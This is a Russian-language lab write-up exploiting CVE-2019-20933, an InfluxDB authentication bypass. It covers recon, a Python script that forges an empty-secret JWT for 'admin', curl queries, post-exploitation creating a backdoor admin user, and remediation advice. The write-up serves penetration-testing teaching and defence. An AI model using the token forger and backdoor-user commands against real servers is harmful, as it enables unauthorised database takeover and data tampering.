
Пошаговое лабораторное описание эксплуатации CVE-2019-20933 — обхода аутентификации в InfluxDB с помощью поддельных JWT-токенов, включая эксплуатацию, пост-эксплуатацию и рекомендации по устранению уязвимости.
Начнём с того, что запущено в среде. Я выведу список всех активных контейнеров:
docker ps

Жертва предоставляет доступ к одному порту: 8086.
В настоящее время у меня нет подробной информации о цели. Из вывода docker ps видно, что система предоставляет доступ только к одному заметному сервису внешне на порту 8086, который сопоставлен с сервисом внутри контейнера. Это основная поверхность атаки, которую необходимо проанализировать.
Вместо того чтобы сразу заходить через браузер, мы приступаем к идентификации сервиса с помощью Nmap, чтобы определить, какой сервис запущен на порту 8086:
nmap -sV -sC -p 8086 192.168.3.137

Результаты сканирования показывают, что порт 8086 является HTTP-сервисом InfluxDB OSS 1.6.6. Это база данных временных рядов, доступная через HTTP API, а не типичное веб-приложение.
InfluxDB — это база данных временных рядов с открытым исходным кодом, написанная на Go. В отличие от RDBMS (оптимизированных для точных транзакций) или Elasticsearch (оптимизированного для текстового поиска), InfluxDB создана с единственной целью: Обработка огромных объемов записи (Высокая пропускная способность записи) и запрос данных по временной оси с низкой задержкой.

Поскольку сервис был идентифицирован как InfluxDB, следующим шагом является обращение к тому, как InfluxDB взаимодействует с клиентами. Согласно документации InfluxDB v1 HTTP API, порт 8086 является портом HTTP API по умолчанию. Важные конечные точки включают:
/ping: проверяет рабочее состояние сервера./query: отправляет запросы InfluxQL для чтения метаданных или данных./write: записывает данные временных рядов в базу данных.⇒ Размышление: После того, как Nmap идентифицирует сервис как InfluxDB http admin 1.6.6, мы не продолжаем тестировать его как обычный веб-сайт. Для веб-приложений мы обычно ищем маршруты, формы входа или каталоги. Однако в случае с InfluxDB поверхность атаки находится в HTTP API. Поэтому нам необходимо переключиться на тестирование стандартных конечных точек InfluxDB API, чтобы определить, требует ли API аутентификации. Следовательно, следующее направление тестирования — не доступ к / через браузер, а отправка запросов напрямую к конечным точкам API InfluxDB.
/pingПосле идентификации порта 8086 как HTTP API InfluxDB, проверьте конечную точку /ping, чтобы подтвердить работоспособность сервиса:
curl -i <http://192.168.3.137:8086/ping>

Ответ 204 No Content подтверждает, что InfluxDB работает нормально. Заголовки дополнительно подтверждают версию сервиса как InfluxDB OSS 1.6.6
/querycurl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

Конечная точка /query не разрешает прямые запросы без учетных данных аутентификации. Это подтверждает, что в InfluxDB включена аутентификация и она блокирует все анонимные запросы, отправляемые в систему.
Я переключаюсь на размышление: есть ли в версии InfluxDB 1.6.6 какая-либо уязвимость, позволяющая обойти механизм аутентификации?

Обратившись к публичным базам данных уязвимостей, версии InfluxDB до 1.7.6 подвержены CVE-2019-20933. Это уязвимость обхода аутентификации в функции аутентификации InfluxDB, связанная с обработкой JWT-токенов с пустым общим секретом.
Поскольку цель работает под управлением InfluxDB 1.6.6, что ниже версии с патчем 1.7.6, сервис попадает в диапазон уязвимых версий.
Можно сделать вывод:
Service: InfluxDB OSS
Version: 1.6.6
Authentication: Enabled
CVE mapping: CVE-2019-20933
Impact: Authentication Bypass
Status: Version vulnerable
⇒ Размышление: Изначально конечная точка /query возвращает 401 Unauthorized, что указывает на то, что механизм аутентификации активен. Однако наличие аутентификации не означает абсолютную безопасность. Когда версия идентифицирована как 1.6.6, нам необходимо сопоставить её с известными CVE. Результаты показывают, что эта версия попадает в диапазон, затронутый CVE-2019-20933, что означает, что можно обойти механизм аутентификации, защищающий конечную точку /query. На основании этих результатов идентификации этап эксплуатации будет сосредоточен на проверке CVE-2019-20933 путём генерации соответствующего JWT-токена для обхода аутентификации и выполнения запросов к конечной точке /query.
Уязвимость CVE-2019-20933 возникает в функции authenticate в файле services/httpd/handler.go InfluxDB версии ниже 1.7.6.
InfluxDB поддерживает аутентификацию с использованием JSON Web Tokens (JWT) для запросов HTTP API. При получении запроса с заголовком:
Authorization: Bearer <token>
InfluxDB выполняет следующие шаги:
shared-secret из файла influxdb.conf, чтобы использовать его в качестве секретного ключа для проверки подписи токена.username из утверждений (claims) для определения пользователя, выполняющего запрос.В уязвимых версиях, если аутентификация JWT включена, но параметр shared-secret не настроен, значение секрета может обрабатываться как пустая строка ("").
Система не выполняет адекватную проверку надёжности секрета перед проверкой подписи JWT. Это позволяет злоумышленнику создать собственный JWT, подписать его пустым секретом, а затем установить утверждение username на существующий аккаунт в системе, например admin, если этот аккаунт существует в лаборатории.
Когда этот токен отправляется через заголовок Authorization: Bearer <token>, InfluxDB использует тот же пустой секрет для проверки подписи. Если подпись совпадает и имя пользователя существует, запрос будет авторизован без необходимости ввода реального пароля пользователя.
Поток обработки можно обобщить следующим образом:
Поток эксплуатации на логическом уровне:
InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds
После понимания механизма CVE необходимо сопоставить его с целью, чтобы избежать выводов, основанных только на версии.
На данный момент CVE-2019-20933 определяется как очень подходящий кандидат для цели. Однако для подтверждения практической эксплуатации мы должны сгенерировать JWT, подписанный пустым shared secret, и передать его на конечную точку /query.
Если сервер примет этот токен и позволит выполнение запросов, только тогда мы сможем сделать вывод, что CVE был успешно эксплуатирован.
Из приведённого выше анализа механизма уязвимости условия для эксплуатации следующие:
username в системе."").Authorization: Bearer <token> на конечную точку /query.JWT состоит из 3 частей, разделённых точками: Header.Payload.Signature
Header
{"alg":"HS256","typ":"JWT"}
Payload
{"username":"admin","exp":2147483647}
username: целевой аккаунт. В этой лаборатории InfluxDB создаёт пользователя admin по умолчанию.exp: время истечения токена, установлено очень далеко в будущем (год 2038), чтобы избежать отклонения из-за истечения срока действия.Signature
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
На Kali мы генерируем полный JWT одной командой:
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

Мы получаем строку:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url(): Преобразует словарь Python в строку JSON и кодирует её в формате Base64URL (удаляя символы заполнения = в соответствии со стандартом JWT).hmac.new(b'', ...): Подписывает сообщение с помощью алгоритма HMAC-SHA256 пустым ключом (b''). Это и есть вектор эксплуатации — пустой ключ соответствует ненастроенному shared-secret на сервере.Header.Payload.Signature, соответствующая стандарту JWT RFC 7519./query для проверки CVEСохраним токен в переменную окружения и затем отправим запрос SHOW DATABASES:
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

Анализ результата:
401 Unauthorized на 200 OK.⇒ Подтверждено, что CVE-2019-20933 успешно эксплуатируется на цели. С помощью самостоятельно созданного JWT, подписанного пустым ключом, мы полностью обошли механизм аутентификации и получили доступ к запросам как admin.
После успешного обхода аутентификации мы переходим к более глубокой постэксплуатации для сбора конфиденциальных данных из баз данных в системе. Согласно результатам SHOW DATABASES, в системе есть 2 базы данных: _internal (внутренняя база данных мониторинга InfluxDB по умолчанию) и sample (рабочая бизнес-база данных).
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

В системе присутствует только один пользователь: admin с административными привилегиями (admin: true). Это подтверждает, что наш поддельный JWT успешно выдал себя за единственную административную учётную запись в системе.
_internalБаза данных sample не содержит никаких измерений (она пуста). Однако база данных _internal является внутренней базой данных мониторинга InfluxDB и всегда содержит системные метрики:
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

База данных _internal содержит 12 внутренних измерений мониторинга: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal и write. Эти таблицы хранят подробную статистику работы экземпляра InfluxDB, включая журналы HTTP-запросов, метрики производительности базы данных и состояние механизма хранения.
Чтобы продемонстрировать, что обойдённый доступ admin не ограничивается действиями только для чтения, но также предоставляет доступ на запись и административный доступ, мы выполняем создание новой учётной записи пользователя с полными правами администратора:
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

Ответ возвращает statement_id: 0 без поля error, что подтверждает успешное выполнение команды CREATE USER. Теперь злоумышленник может войти напрямую, используя учётные данные hacked / Dung с полным доступом администратора, без необходимости использования поддельного JWT-токена.
⇒ Это служит самым убедительным доказательством того, что уязвимость CVE-2019-20933 не только позволяет раскрывать данные, но и даёт злоумышленнику полный контроль над системой InfluxDB — включая управление пользователями, уничтожение баз данных и изменение конфигурации системы.
В отличие от уязвимостей удалённого выполнения кода (RCE), нацеленных непосредственно на уровень ОС (как в Лабораторной работе 3), CVE-2019-20933 ограничивает своё воздействие администрированием на уровне базы данных. Однако степень серьёзности остаётся критически высокой из-за:
hacked с полными административными привилегиями.Для полного устранения этой критической уязвимости безопасности системные администраторы должны незамедлительно реализовать следующие контрмеры:
Настройка надёжного общего секрета Если обновление невозможно немедленно, отредактируйте файл конфигурации influxdb.conf, чтобы определить длинный, сложный и случайный общий секрет в разделе [http]: Примечание: Перезапустите службу InfluxDB после редактирования конфигурации, чтобы изменения вступили в силу.
ini
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
Обновление экземпляра InfluxDB до исправленной версии Немедленно обновите InfluxDB до версии 1.7.6 или выше. Разработчики изменили процедуру аутентификации в этих версиях, чтобы отклонять JWT-токены, подписанные пустыми или небезопасными общими секретами.
8086 для публичного Интернета.| Step | Normal Processing | Flaw in CVE-2019-20933 |
|---|
| 1 | Client sends Authorization: Bearer <token> | Злоумышленник самостоятельно создаёт JWT |
| 2 | Server reads shared-secret from configuration | shared-secret не задан |
| 3 | Server uses secret to verify JWT signature | Секрет обрабатывается как пустая строка "" |
| 4 | If token is valid, retrieve username from claim | Злоумышленник устанавливает username=admin, если пользователь существует |
| 5 | Server grants permissions based on the claim user | Запрос принимается без запроса пароля |
| Condition | Target Result | Assessment |
|---|
| Сервис является InfluxDB | Nmap идентифицирует InfluxDB http admin 1.6.6 | Выполнено |
| Версия в уязвимом диапазоне | 1.6.6 < 1.7.6 | Выполнено |
| Аутентификация включена | /query returns 401 Unauthorized | Выполнено |
| Принимается ли JWT, подписанный пустым общим секретом? | Needs verification | Не подтверждено |
| Действительно ли имя пользователя в JWT? | Needs verification/assumed in lab | Не подтверждено |
| Метрика | Оценка | Детали |
|---|
| CVSS Score | 9.8 (Critical) | Чрезвычайно высокая оценка из-за высокой лёгкости эксплуатации. |
| Authentication Required | None | Полностью обходит барьер аутентификации без действительных учётных данных. |
| Exploit Complexity | Low | Требуется только генерация поддельного JWT с пустым секретным ключом и отправка его через HTTP-заголовок. |
| Privilege Gained | InfluxDB Admin | Получает полный контроль над базой данных InfluxDB с привилегиями корневого администратора. |
| Impact on Data | High | Приводит к раскрытию всех конфиденциальных метрик с возможностью изменить или полностью удалить данные. |